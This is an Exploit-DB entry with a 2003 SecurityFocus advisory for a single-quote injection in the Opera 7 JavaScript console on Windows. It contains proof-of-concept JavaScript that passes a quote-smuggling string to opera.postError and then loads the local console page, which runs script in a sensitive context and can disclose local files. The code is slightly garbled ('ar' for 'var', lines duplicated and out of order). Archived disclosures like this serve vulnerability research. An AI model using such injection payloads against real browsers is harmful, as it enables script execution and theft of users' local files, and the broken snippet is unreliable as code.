Opera 7.0/7.10 - JavaScript Console Single Quote Attribute Injection

EDB-ID:

22546

CVE:

N/A


Author:

nesumin

Type:

remote


Platform:

Windows

Date:

2003-04-28


source: https://www.securityfocus.com/bid/7449/info

A vulnerability has been reported for Opera 7 browsers for Microsoft Windows operating systems. The vulnerability exists in the Opera JavaScript console. Attackers may exploit the vulnerability to execute script code in a sensitive context. Exploitation of this vulnerability may lead to disclosure of local file contents.

ar message = "http://');alert(location.href+'";
opera.postError( message );
location.href = "file://localhost/console.html";

var message = "http://');alert(location.href+'";
opera.postError( message );

Additional exploit examples can be found in the attached Bugtraq reference.
location.href = "file://localhost/console.html";